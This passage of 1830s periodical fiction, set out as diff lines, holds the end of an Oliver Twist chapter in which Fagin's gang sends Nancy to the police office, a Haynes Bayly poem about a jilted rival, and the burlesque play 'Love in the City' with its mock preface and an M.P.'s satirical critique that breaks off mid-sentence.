+"Perhaps I am," replied Sikes. "I should think _you_ were rather out of
+sorts too, unless you mean as little harm when you throw pewter pots
+about, as you do when you blab and----"
+
+"Are you mad?" said the Jew, catching the man by the sleeve, and
+pointing towards the boys.
+
+Mr. Sikes contented himself with tying an imaginary knot under his left
+ear, and jerking his head over on the right shoulder; a piece of dumb
+show which the Jew appeared to understand perfectly. He then in cant
+terms, with which his whole conversation was plentifully besprinkled,
+but which would be quite unintelligible if they were recorded here,
+demanded a glass of liquor.
+
+"And mind you don't poison it," said Mr. Sikes, laying his hat upon the
+table.
+
+This was said in jest; but if the speaker could have seen the evil leer
+with which the Jew bit his pale lip as he turned round to the cupboard,
+he might have thought the caution not wholly unnecessary, or the wish,
+at all events, to improve upon the distiller's ingenuity not very far
+from the old gentleman's merry heart.
+
+After swallowing two or three glassfuls of spirits, Mr. Sikes
+condescended to take some notice of the young gentlemen; which gracious
+act led to a conversation in which the cause and manner of Oliver's
+capture were circumstantially detailed, with such alterations and
+improvements on the truth as to the Dodger appeared most advisable
+under the circumstances.
+
+"I'm afraid," said the Jew, "that he may say something which will get
+us into trouble."
+
+"That's very likely," returned Sikes with a malicious grin. "You're
+blowed upon, Fagin."
+
+"And I'm afraid, you see," added the Jew, speaking as if he had not
+noticed the interruption, and regarding the other closely as he did
+so,--"I'm afraid that, if the game was up with us, it might be up with
+a good many more; and that it would come out rather worse for you than
+it would for me, my dear."
+
+The man started, and turned fiercely round upon the Jew; but the old
+gentleman's shoulders were shrugged up to his ears, and his eyes were
+vacantly staring on the opposite wall.
+
+There was a long pause. Every member of the respectable coterie
+appeared plunged in his own reflections, not excepting the dog, who
+by a certain malicious licking of his lips seemed to be meditating an
+attack upon the legs of the first gentleman or lady he might encounter
+in the street when he went out.
+
+"Somebody must find out what's been done at the office," said Mr. Sikes
+in a much lower tone than he had taken since he came in.
+
+The Jew nodded assent.
+
+"If he hasn't peached, and is committed, there's no fear till he comes
+out again," said Mr. Sikes, "and then he must be taken care on. You
+must get hold of him, somehow."
+
+Again the Jew nodded.
+
+The prudence of this line of action, indeed, was obvious; but
+unfortunately there was one very strong objection to its being adopted;
+and this was, that the Dodger, and Charley Bates, and Fagin, and Mr.
+William Sikes, happened one and all to entertain a most violent and
+deeply-rooted antipathy to going near a police-office on any ground or
+pretext whatever.
+
+How long they might have sat and looked at each other in a state of
+uncertainty not the most pleasant of its kind, it is difficult to say.
+It is not necessary to make any guesses on the subject, however; for
+the sudden entrance of the two young ladies whom Oliver had seen on a
+former occasion caused the conversation to flow afresh.
+
+"The very thing!" said the Jew. "Bet will go; won't you, my dear?"
+
+"Wheres?" inquired the young lady.
+
+"Only just up to the office, my dear," said the Jew coaxingly.
+
+It is due to the young lady to say that she did not positively affirm
+that she would not, but that she merely expressed an emphatic and
+earnest desire to be "jiggered" if she would; a polite and delicate
+evasion of the request, which shows the young lady to have been
+possessed of that natural good-breeding that cannot bear to inflict
+upon a fellow-creature the pain of a direct and pointed refusal.
+
+The Jew's countenance fell, and he turned to the other young lady, who
+was gaily, not to say gorgeously attired, in a red gown, green boots,
+and yellow curl-papers.
+
+"Nancy, my dear," said the Jew in a soothing manner, "what do _you_
+say?"
+
+"That it won't do; so it's no use a trying it on, Fagin," replied Nancy.
+
+"What do you mean by that?" said Mr. Sikes, looking up in a surly
+manner.
+
+"What I say, Bill," replied the lady collectedly.
+
+"Why, you're just the very person for it," reasoned Mr. Sikes: "nobody
+about here, knows anything of you."
+
+"And as I don't want 'em to, neither," replied Miss Nancy in the same
+composed manner, "it's rayther more no than yes with me, Bill."
+
+"She'll go, Fagin," said Sikes.
+
+"No, she won't, Fagin," bawled Nancy.
+
+"Yes she will, Fagin," said Sikes.
+
+And Mr. Sikes was right. By dint of alternate threats, promises, and
+bribes, the engaging female in question was ultimately prevailed upon
+to undertake the commission. She was not indeed withheld by the same
+considerations as her agreeable friend, for, having very recently
+removed into the neighbourhood of Field-lane from the remote but
+genteel suburb of Ratcliffe, she was not under the same apprehension of
+being recognised by any of her numerous acquaintance.
+
+Accordingly, with a clean white apron tied over the red gown, and the
+yellow curl-papers tucked up under a straw bonnet,--both articles of
+dress being provided from the Jew's inexhaustible stock,--Miss Nancy
+prepared to issue forth on her errand.
+
+"Stop a minute, my dear," said the Jew, producing a little covered
+basket. "Carry that in one hand; it looks more respectable, my dear."
+
+"Give her a door-key to carry in her t'other one, Fagin," said Sikes;
+"it looks real and genivine like."
+
+"Yes, yes, my dear, so it does," said the Jew, hanging a large
+street-door key on the fore-finger of the young lady's right hand.
+"There; very good,--very good indeed, my dear," said the Jew, rubbing
+his hands.
+
+"Oh, my brother! my poor, dear, sweet, innocent little brother!"
+exclaimed Miss Nancy, bursting into tears, and wringing the little
+basket and the street-door key in an agony of distress. "What has
+become of him!--where have they taken him to! Oh, do have pity, and
+tell me what's been done with the dear boy, gentlemen; do, gentlemen,
+if you please, gentlemen."
+
+Having uttered these words in a most lamentable and heart-broken tone,
+to the immeasurable delight of her hearers, Miss Nancy paused, winked
+to the company, nodded smilingly round, and disappeared.
+
+"Ah! she's a clever girl, my dears," said the Jew, turning to his young
+friends, and shaking his head gravely, as if in mute admonition to them
+to follow the bright example they had just beheld.
+
+"She's a honor to her sex," said Mr. Sikes, filling his glass, and
+smiting the table with his enormous fist. "Here's her health, and
+wishing they was all like her!"
+
+While these and many other encomiums were being passed on the
+accomplished Miss Nancy, that young lady made the best of her way to
+the police-office; whither, notwithstanding a little natural timidity
+consequent upon walking through the streets alone and unprotected, she
+arrived in perfect safety shortly afterwards.
+
+Entering by the back way, she tapped softly with the key at one of the
+cell-doors and listened. There was no sound within, so she coughed and
+listened again. Still there was no reply, so she spoke.
+
+"Nolly, dear?" murmured Nancy in a gentle voice;--"Nolly?"
+
+There was nobody inside but a miserable shoeless criminal, who had been
+taken up for playing the flute, and who--the offence against society
+having been clearly proved--had been very properly committed by Mr.
+Fang to the House of Correction for one month, with the appropriate and
+amusing remark that since he had got so much breath to spare, it would
+be much more wholesomely expended on the treadmill than in a musical
+instrument. He made no answer, being occupied in mentally bewailing
+the loss of the flute, which had been confiscated for the use of the
+county; so Miss Nancy passed on to the next cell, and knocked there.
+
+"Well," cried a faint and feeble voice.
+
+"Is there a little boy here?" inquired Miss Nancy with a preliminary
+sob.
+
+"No," replied the voice; "God forbid!"
+
+This was a vagrant of sixty-five, who was going to prison for _not_
+playing the flute, or, in other words, for begging in the streets, and
+doing nothing for his livelihood. In the next cell was another man,
+who was going to the same prison for hawking tin saucepans without a
+licence, thereby doing something for his living in defiance of the
+Stamp-office.
+
+But as neither of these criminals answered to the name of Oliver, or
+knew anything about him, Miss Nancy made straight up to the bluff
+officer in the striped waistcoat, and with the most piteous wailings
+and lamentations, rendered more piteous by a prompt and efficient use
+of the street-door key and the little basket, demanded her own dear
+brother.
+
+"I haven't got him, my dear," said the old man.
+
+"Where is he?" screamed Miss Nancy in a distracted manner.
+
+"Why, the gentleman's got him," replied the officer.
+
+"What gentleman? Oh, gracious heavins! what gentleman?" exclaimed Miss
+Nancy.
+
+In reply to this incoherent questioning, the old man informed the
+deeply affected sister that Oliver had been taken ill in the office,
+and discharged in consequence of a witness having proved the robbery
+to have been committed by another boy not in custody; and that the
+prosecutor had carried him away in an insensible condition to his own
+residence, of and concerning which all the informant knew was, that it
+was somewhere at Pentonville, he having heard that word mentioned in
+the directions to the coachman.
+
+In a dreadful state of doubt and uncertainty the agonised young woman
+staggered to the gate, and then,--exchanging her faltering gait for
+a good swift steady run, returned by the most devious and complicated
+route she could think of, to the domicile of the Jew.
+
+Mr. Bill Sikes no sooner heard the account of the expedition delivered,
+than he very hastily called up the white dog, and, putting on his hat,
+expeditiously departed, without devoting any time to the formality of
+wishing the company good-morning.
+
+"We must know where he is, my dears; he must be found," said the Jew,
+greatly excited. "Charley, do nothing but skulk about, till you bring
+home some news of him. Nancy, my dear, I must have him found: I trust
+to you, my dear,--to you and the Artful for every thing. Stay, stay,"
+added the Jew, unlocking a drawer with a shaking hand; "there's money,
+my dears. I shall shut up this shop to-night: you'll know where to find
+me. Don't stop here a minute,--not an instant, my dears!"
+
+With these words he pushed them from the room, and carefully
+double-locking and barring the door behind them, drew from its place of
+concealment the box which he had unintentionally disclosed to Oliver,
+and hastily proceeded to dispose the watches and jewellery beneath his
+clothing.
+
+A rap at the door startled him in this occupation. "Who's there?" he
+cried in a shrill tone of alarm.
+
+"Me!" replied the voice of the Dodger through the keyhole.
+
+"What now?" cried the Jew impatiently.
+
+"Is he to be kidnapped to the other ken, Nancy says?" inquired the
+Dodger cautiously.
+
+"Yes," replied the Jew, "wherever she lays hands on him. Find him, find
+him out, that's all; and I shall know what to do next, never fear."
+
+The boy murmured a reply of intelligence, and hurried down stairs after
+his companions.
+
+"He has not peached so far," said the Jew as he pursued his occupation.
+"If he means to blab us among his new friends, we may stop his windpipe
+yet."
+
+
+
+
+WHAT THOUGH WE WERE RIVALS OF YORE.
+
+A ROMANCE. BY HAYNES BAYLY.
+
+
+                   I.
+
+    "What though we were rivals of yore,
+      It seems you the victor have proved,
+    Henceforth we are rivals no more,
+      For I must forget I have loved.
+    You tell me you wed her to-day,
+      I thank you for telling the worst;
+    Adieu then! to horse, and away!--
+      But, hold!--let us drink her health first!
+
+
+                   II.
+
+    "Alas! I confess I was wrong
+      To cope with so charming a knight;
+    Excelling in dance, and in song,
+      Well-dress'd, _debonnaire_, and polite!
+    So, putting all envy aside,
+      I take a new flask from the shelf;
+    Another full glass to the bride,
+      And now a full glass to yourself.
+
+
+                   III.
+
+    "You'll drink a full bumper to me,
+      So well I have borne my defeat?
+    To the nymphs who the bridemaids will be,
+      And to each of the friends you will meet.
+    You are weary?--one glass to renew;
+      You are dozing?--one glass to restore;
+    You are sleeping?--proud rival, adieu!
+      Excuse me for locking the door."
+
+
+                   IV.
+
+    There's a fee in the hand of the priest!
+      There's a kiss on the cheek of the bride!
+    And the guest she expected the least
+      Is He who now sits by her side!
+    Oh, well may the loiterer fail,
+      _His_ love is the grape of the Rhine;
+    And the spirit most sure to prevail
+      Was never the spirit of wine.
+
+
+
+
+LOVE IN THE CITY.
+
+TO THE PUBLIC.
+
+
+In the prefatory observations I thought advisable to make when placing
+"Love in the City" before the world, I stated that my chief aim was
+the restoration of the drama to its pristine purity by avoiding
+those unnatural and superhuman agencies which modern writers have so
+extensively indulged in. Opposing myself thus, to innovation, I have
+ventured on one of the boldest changes in dramatic arrangement, by
+postponing the performance of the overture until the commencement of
+the second act. Having thus admitted my offending, I trust that, when
+the reasons which induced it are explained and understood, I shall have
+justified this daring step, and obtained a verdict of public acquittal.
+
+Is there a frequenter of our theatres on a first night whose musical
+sensibilities have not been lacerated by the noise and tumult
+incidental to a crowded house? Let him achieve by desperate exertion a
+favourable place in the undress circle,--suppose the theatre crammed
+to the pigeon-holes, the orchestra already tuned, and every eye bent
+upon the leader, awaiting his premonitory tap;--then, when the nervous
+system should be quiescent, the ear open to receive delicious sounds,
+the heart ready to expand itself into harmonious ecstacy,--at that
+very moment of rapturous expectation has not his tranquillity been
+annihilated by
+
+    "Some giggling daughter of the queen of love"
+
+pinching him in the ribs to acquaint him that he is "sitting on her
+boa!" While, from that "_refugium peccatorum_," the shilling gallery,
+infernal cries of "Down in the front!" "Music!" "Curse your pedigree!"
+"Hats off!" "How's your mother?" drown even the double-drums, and
+render the overture inaudible from the opening crash to the close.
+
+To remedy this nuisance,--to allow the excited feelings of an
+overcrowded house to subside sufficiently to enable the audience, by
+presenting them with the first act, to judge how far the music of the
+overture is adapted to the business of the stage,--these considerations
+have induced me thus to postpone its performance, and with what success
+the public will best decide.
+
+Another, and a more agreeable duty, now devolves upon me,--to express
+my ardent thanks to all and every to whom this drama is in any way
+indebted for its brilliant and unparalleled success. To Messrs. Flight
+and Robson; the commanding officers of the Foot and Fusileer Guards;
+the King of the Two Sicilies; the Hereditary Prince of Coolavin; and
+his serene highness the Duke of Darmstadt, I am eternally grateful.
+To the performers, male and female, the composers, the orchestra at
+large, scene-painters and scene-shifters, prompters and property-men,
+box-keepers and check-takers, sentries and police, I present my
+heartfelt acknowledgements. And to the most crowded and fashionable
+audience that ever graced a metropolitan theatre, I shall only say,
+that the rapturous and reiterated plaudits bestowed upon this drama
+shall never fade from the recollection of their most devoted, very
+humble, too fortunate, and ever grateful servant,
+
+                    THE AUTHOR.
+
+July 1, 1837.
+
+
+
+
+LOVE IN THE CITY;
+
+OR, ALL'S WELL THAT ENDS WELL.
+
+A MELODRAMATIC EXTRAVAGANZA.
+
+ACT II.
+
+
+  _Grand Overture_,--composed jointly by Spohr, Haynes Bayly, Newkom,
+  and Rossini, and performed by the largest orchestra ever collected in
+  a European theatre, assisted by the Duke of Darmstadt's brass band,
+  and the entire drums of the Foot and Fusileer Guards.
+
+  In the course of the overture the following novelties will be
+  introduced.
+
+  _A duet_ upon the _double-drums_ with _one stick only_, by Mons.
+  TAMBOURETTE, Member of the Legion of Honour, K.T.S., and drum-major to
+  the _King of the Two Sicilies_.
+
+  _Planxty Mac Swain_, and "_What have you got in your jug?_" with
+  brilliant variations for the _Irish pipes_, by _Kalkbrenner_,--Mr.
+  PATRICK HALLIGAN, Minstrel in ordinary to the Prince of Coolavin.
+
+  _A capriccio_ on the _German flute_, by a _distinguished amateur_, who
+  has lost four fingers and a thumb.
+
+  _A grand fantasia_ (Henry Hertz) on _one piano by eight performers_.
+
+  _Director_, Sir GEORGE SMART.
+
+  _Conductor_, on _The Apollonicon_,--lent to the lessee for that night
+  only,--Mr. PURKIS.
+
+  _Leader_, Mr. T. COOKE,
+
+  _The overture having been twice encored, bell rings, and curtain draws
+  up._
+
+
+ACT II.--SCENE I.
+
+  A public-house, "Black Horse," in the Borough. A tap-room. _Mags_ and
+  _Poppleton_ discovered drinking "heavy wet." _Mags_ rather fresh, and
+  _Poppleton_ evidently the worse of liquor. _Mags_, after a long pull,
+  deposits the pot upon the table.
+
+  _Pop._--Now for your news, Mags.
+
+  _Mags._                          I told you, worthy Pop,
+  That Stubs and Smith put keepers on the shop.
+
+  _Pop._--And how's our missus?
+
+  _Mags._                        Why, hearty, when last seen
+  With a Life-Guardsman, crossing Turnham-green.
+
+  _Pop._--And honest Snags?
+
+  _Mags (with emotion)._    Ah! would that epithet were true,
+  Or I could keep the sad details from you!
+  Snags is not _honest_!
+
+    (_Poppleton buttons his coat, and puts himself into a boxing
+    attitude._)
+
+                         He has robb'd the till,
+  And lost the money, betting at a mill!
+
+    (_Noise without. Door opens. Enter Young Clipclose hastily._)
+
+  _Mr. C._--What, Mags and Pop! the coves I wish'd to see
+  Above all others. Curse my pedigree!
+
+      AIR--_Mr. Clipclose._--("I've been roaming.")
+
+      I've been nabb'd, sirs,--I've been nabb'd, sirs,--
+        And bundled off direct to jail,
+      By the villains when they grabb'd, sirs,
+        And now I'm out upon stag-bail.
+
+    (_Mr. C. seizes the pewter in his right hand._)
+
+  _Mr. C._--Is this good stout?
+
+  _Mags (feelingly)._           My honest master, quaff!
+  You'll find it strengthening, real half-and-half.
+
+      AIR--_Poppleton._--("Here we go up, up, up.")
+
+      Come, Bob, take a sup, sup, sup!
+        Let the liquor your stiff neck slide down, boy;
+      There's nothing like keeping steam up,
+        When a man's at the worst, and done brown, boy.
+
+    (_Clipclose starts, looks anxiously at Mags._)
+
+  _Mr. C._--How's all at home,--I mean on Ludgate-hill,--
+  And have you heard the winner of the mill?
+
+  _Mags (with considerable hesitation)._--We all, alas! for Fortune's
+      frowns seem fix'd on.
+  Poor Jerry Scout is bundled off to Brixton;
+  The shop's done up; and, for your lady wife,
+  I fear she's joined the Guards, yclept "The Life;"
+  On other things, barring the fight, I'm barren,
+  And Owen Swift was beat by Barney Aaron.
+
+    (_Clipclose staggers across the room, and catches at the
+    chimney-piece._)
+
+  _Mr. C._--My wife levanted, and the shop done up!
+  Mags, hand the quart; I need another sup.
+  Othello like, Bob's occupation's done;
+  For I back'd Owen freely two to one.
+  Like Antony at Actium, this fell day
+  Strips me of all, shop, cash, and lady gay.
+  Would I had nerve to take myself away!
+
+  _Pop._ (_aside._)--I'll watch him close. Although his looks are
+    placid,
+  He'll take a dose, I fear, of prussic acid.
+
+    (_Enter Pot-boy._)
+
+  _Pot-boy._--Is there a gent call'd Mr. Clipclose here?
+
+  _Mr. C._--I am that wretched man!      (_Slaps his forehead._)
+
+  _Pot-boy._                        Who pays the beer?
+
+  _Pop._--I.
+
+  _Pot-boy._--Here's a note. (_To Mr. C._) Lord, but the man looks
+    queer!
+
+    (_Mr. Clipclose reads it; jumps up, and whistles "Bobbing Joan."_)
+
+      QUARTETTO.
+
+      _Mags._
+
+      Master, are you mad?
+
+      _Mr. C._
+
+      No; but I'm distracted.
+
+      _Pot-boy._
+
+      Times are wery bad,
+
+      _Pop._
+
+      And I in grief abstracted.
+
+      _Mags._
+
+      Odds! he'll take his life!
+
+      _Mr. C._ (_kissing the billet._)
+
+      Sweet note! thou'rt balm and manna!
+
+      _Mags to Pop._ (_who is reading it over Mr. C.'s shoulder._) Is
+      it from his wife?
+
+      _Pop._ (_slaps his thigh._)
+
+      No! from Miss Juliana!"
+
+  _Clipclose_, when he reads it, rushes out; _Mags_ after him.
+  _Poppleton_ attempts to follow, but is detained by pot-boy. He forks
+  out tanner, and disappears. SOLO--_Apollonicon._ Hurried music
+  descriptive of three cabs: _Clipclose_ in 793, at a rapid pace;
+  _Mags_, 1659; _Poppleton_ 1847, pursuing. Scene closes.
+
+
+SCENE II.
+
+  Thompson and Fearon's, Holborn; gin-palace at full work; company less
+  select than numerous, and ladies and gentlemen taking "some'ut short"
+  at the counter. Enter, in full uniform. Captain Connor; O'Toole and
+  Blowhard in shell jackets. They call for a flash of lightning, touch
+  glasses affectionately, and bolt the ruin. The captain stumps down
+  for all.
+
+      GLEE--_Connor, O'Toole, and Blowhard._
+
+      _Capt._
+
+      Gin cures love, my boys, and gin cures the colic;
+
+      _O'T._
+
+      Gin fits a man for fight, or fits him for a frolic;
+
+      _Blow._
+
+      Come, we'll have another go, then hey for any rollic!
+
+      _Trio._
+
+      Come, we'll have another go, and hey then for a rollic!
+
+
+  _Blow._--Lass! (_to an attendant, whom he chucks under the chin,_)
+  some more jacky! Connor, do you still Bend at the shrine of her on
+  Ludgate-hill?
+
+  _OT. (contemptuously)._--Zounds! a cit's helpmate. That would never
+  do. One of us Guards, and one of taste like you.
+
+  _Capt._--Faith, honest Blowhard, and you, my pal, O'Toole, Tho' fond
+  of flirting, yet your friend's no fool! Think ye that I could live
+  upon my pay, And keep four wives on three and six a day? No. Let me
+  have a monied mistress still, My El Dorado be a tradesman's till.
+  Love fed by flimsies, is the love that thrives, And let the mercers
+  keep the Guardsman's wives.
+
+  _O'T._--I see how matters stand, my trump; enough.
+
+  _Blow._ (_to O'T._)--He's wide awake, Tim. (_To the Capt._) Con.
+  you're up to snuff!
+
+  _Capt._--Come, one more round of jacky, and we part,-- I, to the
+  peerless lady of my heart In Stamford-street;--to Knightsbridge
+  barrack you; And mind don't split that I was out at Kew.
+
+  (_They take each another johnny, shake hands, and separate. The scene
+  closes._)
+
+
+SCENE III.
+
+  A drawing-room; doors in the flat; one opening into Miss Juliana
+  Smashaway's boudoir, and the other to her bed-chamber. She is
+  discovered standing at the window in a pensive attitude. She sighs
+  heavily, and rubs her temples with "eau de Cologne."
+
+  _Miss S._--He comes not--half-past four! Ah, fickle Connor! Is this
+  thy plighted faith, and thrice-pledged honour? Was it for this, I
+  waived a grocer's hand, And twice refused a counter in the Strand,
+  Sent back an offer from a Tenth Hussar, And without warning left Soho
+  bazaar, Rejected Griskin, that rich man of mutton; Shy'd Lincoln
+  Stanhope, and cut Manners Sutton?
+
+    (_Sudden noise. Voices without._)
+
+  _1st voice._--Fare's sixteen-pence, and with one bob I'm shamm'd!
+  Fork out the four-pence!
+
+  _2nd voice._ First I'd see you d--d!
+
+    (_Door opens. Clipclose rushes in, and embraces Miss Smashaway._)
+
+  _Miss S._ (_with considerable spirit._)--Unhand me, fellow! Whence
+  this bold intrusion? I think I'll faint, I feel in such confusion.
+
+
+      DUET--_Clipclose and Miss S._--("Pray Goody.")
+
+      _Mr. C._
+
+      Oh, come, Juliana, lay aside your anger and surprise; One
+      trifling kiss you'll scarcely miss, you know. I saw a ready
+      pardon seal'd already in your eyes, Else, 'pon my soul! I scarce
+      had ventur'd so.
+
+      _Miss S._
+
+      True, sir; but you, sir, Should recollect what's due, sir, To one
+      so young and innocent
+
+      _Mr. C._
+
+      As pretty Missus Ju--. Oh, come, Miss S. do lay aside your anger
+      and surprise; A trifling kiss you'll scarcely miss, you know. I
+      saw a ready pardon seal'd already in your eyes, Else, 'pon my
+      soul! I had not ventur'd so.
+
+    (_Cab stops suddenly at the door. Miss S. looks out alarmed. Loud
+    knocking. Alarum._)
+
+  _Miss S._--Lost--lost for ever!
+
+  _Mr. C._ Pray, madam, what's the matter?
+
+  _Miss S._--Heard ye no broadsword on the pavement clatter?
+
+  _Mr. C._--A broadsword! Zounds! My teeth begin to chatter!
+
+  _Miss S._--Where shall I hide him?--(_Opens the chamber door._)--In,
+  sir, or you 're dead.
+
+  _Mr. C._--Can nothing save me?
+
+  _Miss S._ Creep beneath the bed.
+
+    (_Door opens. Mags peeps in._)
+
+  _Mags._--She's quite alone. Oh, happy Matthew Mags!
+
+    (_Maid-servant enters._)
+
+  _Maid._--A chap's below who says he's Samuel Snags.
+
+  _Mags._--I'm a done man; for that 'ere cove will blow me.
+
+  _Miss S._--Follow me in, and I will safely stow ye.
+
+    (_Enter Snags._)
+
+  _Snags._--Divine Miss Smashaway, I humbly kneel To plead a passion
+  you can never feel; A smile will save, a frown as surely kill, One
+  who for you has robb'd his master's till.
+
+  _Miss S._--Well, after that the man deserves some pity.-- Knocking
+  again! and here comes my maid Kitty.
+
+    (_Enter Maid._)
+
+  _Maid._--One Mr. Poppleton.
+
+  _Miss S._ Was ever one so courted?
+
+  _Snags._--All's up with me; for life I'll be transported! Ma'am,
+  could you save a lover?
+
+  _Miss S._ Let me see. Oh, yes; the bed will surely cover three.
+
+    (_Puts Snags into bed-chamber. Enter Poppleton._)
+
+  _Pop._--Where is my charmer?
+
+    (_Enter Maid, hastily._)
+
+  _Maid_ (_to Pop._) Sir, you're dead as mutton; The Captain's come.
+  Your life's not worth a button.
+
+  _Pop._--Where shall I hide?
+
+  _Miss S._ (_to the Maid._) Put him with t'other three; They're the
+  same firm, "Clipclose and company."
+
+    (_A heavy footstep is heard, and a sword strikes against the stairs.
+    Enter the Captain, whistling "Darby Kelly."_)
+
+  _Miss S._ (_flies into his arms._)--My own loved Guardsman, and my
+  fancy beau. Oh, Terence Connor! (_Kissing him._)
+
+  _Capt._ (_embracing her._)--Sweet Juliana, O!
+
+  _Miss S._--Why did you dally, dearest; tell me all? Were you on guard?
+
+  _Capt._ Yes, sweetest, at Whitehall.
+
+  _Miss S._--Ah, you false man,--(_taps his cheek playfully,_)--I'll
+  watch you close.
+
+    (_Somebody sneezes within._)
+
+  _Capt._ What's that?
+
+  _Miss S._--Nothing, dear Terence, but the landlord's cat.
+
+    (_Somebody coughs twice._)
+
+  _Capt._--A cough!--another! Do cats cough so, my fair? Ha! her cheeks
+  redden! Tell me who is there? That guilty look! Zounds! If my fears
+  be true, He'll curse the hour he dared to visit you!
+
+    (_Draws his sword, and rushes into the bed-chamber. Miss S. faints.
+    Voices within._)
+
+  _Capt._--A man!--my eyes! another!--and another! A fourth one still!
+
+  _Snags._ I'm dead with fright!
+
+  _Pop._ I smother!
+
+    (_Capt. drives them before him into the drawing-room._)
+
+  _Capt._ (_in a frenzy._)--Why, hell and Tommy! the maid whom I adore
+  To prove untrue, and play me false with four! But all shall die!
+
+    (_Captain Connor cuts No. 6. with his sword, while Clipclose and
+    company fall upon their knees._)
+
+  _Mags._ Oh, Lord! I'm dead already!
+
+  _Capt._--Prepare for death!
+
+  _Snags and Pop._ Indeed, sir, we an't ready.
+
+  _Mr. C._--Probably, sir, affection for my wife Might plead my pardon,
+  and reprieve my life.
+
+    (_Enter, hastily, Mrs. Clipclose and Annette._)
+
+  _Mrs. C._--Why, what's all this? What do my eyes discover? An errant
+  husband, and a truant lover! (_Aside to Mr. C._)--Was it for this I
+  gave my faith to you? (_Aside to Capt. C._)--Was it for this I drove
+  you out to Kew, Paid cab and lunch, brown stout, and ruin blue?
+
+    (_Capt. C. drops the point of his sword, and evinces great
+    contrition for attempting the lives of the company, when enter an
+    elderly pieman with a juvenile dealer in "all-hots," attended by
+    two policemen. Pieman identifies Miss Smashaway._)
+
+  _Pieman._--That 'ere flash madam hit me in the withers.
+
+  _All-hot (pointing to Mr. Clipclose)._--And that cove knock'd my
+  kitchen-range to shivers!
+
+  _Mr. C._ (_to Policeman._)--Let me explain, sir.
+
+  _Miss S._ Pray, sir, let me speak.
+
+  _Policeman._--Silence! and keep your gammon for the beak.
+
+    (_A rumbling noise heard underneath, attended by a disagreeable
+    vapour._)
+
+  _Policeman._--Zounds! what is this? it smothers me almost. Is it the
+  gas-pipe?
+
+  _Capt. C._ No, dash my wig! a ghost!
+
+    (_Slow music. Apparition of Old Clipclose rises through the stage,
+    dressed in a white shirt, and scarlet nightcap._)
+
+
+      ROUNDELAY--_Ghost and Company._
+
+      ("Good morrow to you, Madam Joan.")
+
+      _Ghost._
+
+      All in the family way, Whack-fal-li, fal-la-di-day! Are you met
+      here to take tea? Whack-fal-li, &c. Or is it love-making you're
+      come? Tol-de-re-lol, &c. Or to keep clear away from a bum?
+      Whack-fal-li, &c.
+
+      _Miss S._
+
+      Oh, no, sir! we're going to jail, Whack-fal-li, &c. Unless,
+      Mister Ghost, you'll go bail, Whack-fal-li, &c.
+
+      _Policeman._
+
+      A spectre, Miss S. will not do, Whack-fal-li, &c.
+
+      (_To the Ghost._)
+
+      Where the blazes! should we look for you? Whack-fal-li, &c.
+
+      (_Enter Capt. C's four wives._)
+
+      _1st Wife._
+
+      Ah, Terry, you traitor, you're there! Whack-fal-li, &c.
+
+      _2nd Wife._
+
+      As usual, deceiving the fair! Whack-fal-li, &c.
+
+      _3rd Wife._
+
+      You'll pay dear enough for your pranks! Whack-fal-li, &c.
+
+      _4th Wife._
+
+      You're broke, and reduced to the ranks! Whack-fal-li, &c.
+
+    (_Capt. C. seems thunderstruck, grinds his teeth passionately, then
+    strikes his forehead, and sings._)
+
+    AIR--_Capt. C._--("The night before Larey was stretch'd.")
+
+      _Capt. C._
+
+      By St. Patrick, I'm done for, at last! From a captain come down
+      to a private. Terry Connor, your glory is past; A very nice pass
+      to arrive at!
+
+      (_To the Ghost._)
+
+      I say, you old rum-looking swell, I would deem it a favour, and
+      civil, In spite of your sulphur'ous smell, To take me down stairs
+      to the devil, And get me a troop in his guards.
+
+  _Ghost_ (_to the Capt._)--Shut your potato-trap! we still refuse--
+  The corps's so moral--Life-Guardsmen and Blues.
+
+  _4th Wife._--Cheer up, my Connor; 'twas in jest I spoke, When I
+  affirm'd my best beloved was broke.
+
+  _Ghost (addressing the company)._--Ladies and Gemmen, give the ghost
+  a hearance, As this, his first, must be his last appearance. (_To
+  Mr. and Mrs. Clipclose_)--Bent upon wedlock, and an heir, to vex ye,
+  If toasted cheese had not brought apoplexy, I died asleep, and left
+  my hard-won riches; Search the left pocket of my dark drab breeches;
+  Open the safe, and there you'll find my will; Deal for cash only and
+  stick to Ludgate-hill; Watch the apprentices, and lock the till; And
+  quit the turf, the finish, and the mill; Turn a new leaf, and leave
+  off former sins; Pay the pieman, and mend young "All-hot's" tins.
+
+  _Mr. C._ (_doubtfully._)--Did you die rich, dad?
+
+  _Ghost._ Rich as any Jew; And half a plum, son Bob, devolves on you.
+
+  _Mrs. C._--What a dear ghost, to die when he was wanted! Will you
+  forgive me?
+
+  _Ghost._ Ma'am, your pardon's granted. My time's but short; but
+  still, before I go, With Miss Juliana I would sport a toe.
+
+  _Miss S._--With all my heart. What would your ghostship order?
+
+  _Ghost._--Tell them to play, "Blue bonnets o'er the border."
+
+  _Apollonicon_ strikes up the country-dance. _Ghost_ leads off with
+  _Miss Smashaway_; the _Captain_ follows with _Mrs. Clipclose_;
+  _Clipclose_, _Mags_, _Snags_, and _Poppleton_ each choose one of the
+  _Captain's Wives_; the _Police_ dance with the _Ladies' Maids_; and
+  the _Pieman_ with "_All-hot_." Twice down the middle, poussette, and
+  form hands round. At the end of the dance, the _Ghost_ vanishes, and
+  the remainder of the _dramatis personæ_ take hands, and advance to
+  the stage-lights.
+
+      GRAND FINALE--("There's nae luck about the house.")
+
+      Dad's away, and we may play, Nor dread Old Grumpy's frown; Well
+      may we say, "thrice happy day When Square-toes toddled down!"
+      There's now luck about the house, There's now luck to a'; There's
+      now luck about the house Since grumpy dad's awa!
+
+  (_Curtain falls amid tremendous applause, and a call for the author._)
+
+
+CRITICAL REMARKS BY AN M.P.
+
+"I am not in the habit of frequenting the theatres, nor indeed any
+public house, except the House of Commons; neither do I pretend to be
+particularly conversant with the drama: but, by general consent, this
+play has been declared not inferior to the happiest effort of the bard
+of Avon, as player-people call William Shakspeare. I have not seen it
+represented; for, the free list being suspended, prudence would not
+permit me to attend. Had half-price been taken, I think I should have
+gone to the two-shilling gallery; but this question is irrelevant.
+
+"The author deserves well of his country. Indeed, his is a double
+claim; and the debt consequently due by the public would amount to a
+large _tottle_. No doubt the restoration of the drama is a matter of
+some importance; but surely the diminution of drumsticks is one of
+infinitely greater consideration!
+
+"I perceive by the playbills,--one of which I was enabled to obtain
+_gratis_,--that a gentleman called Tambourette performs upon two
+drums with a single stick. Now, I call the public attention to this
+important discovery; and, in these times of retrenchment and reform,
+the introduction of this system into our military establishment should
+be at once insisted on. The saving would be immense. Assuming that
+there are one hundred and three battalions of foot, and, on an average,
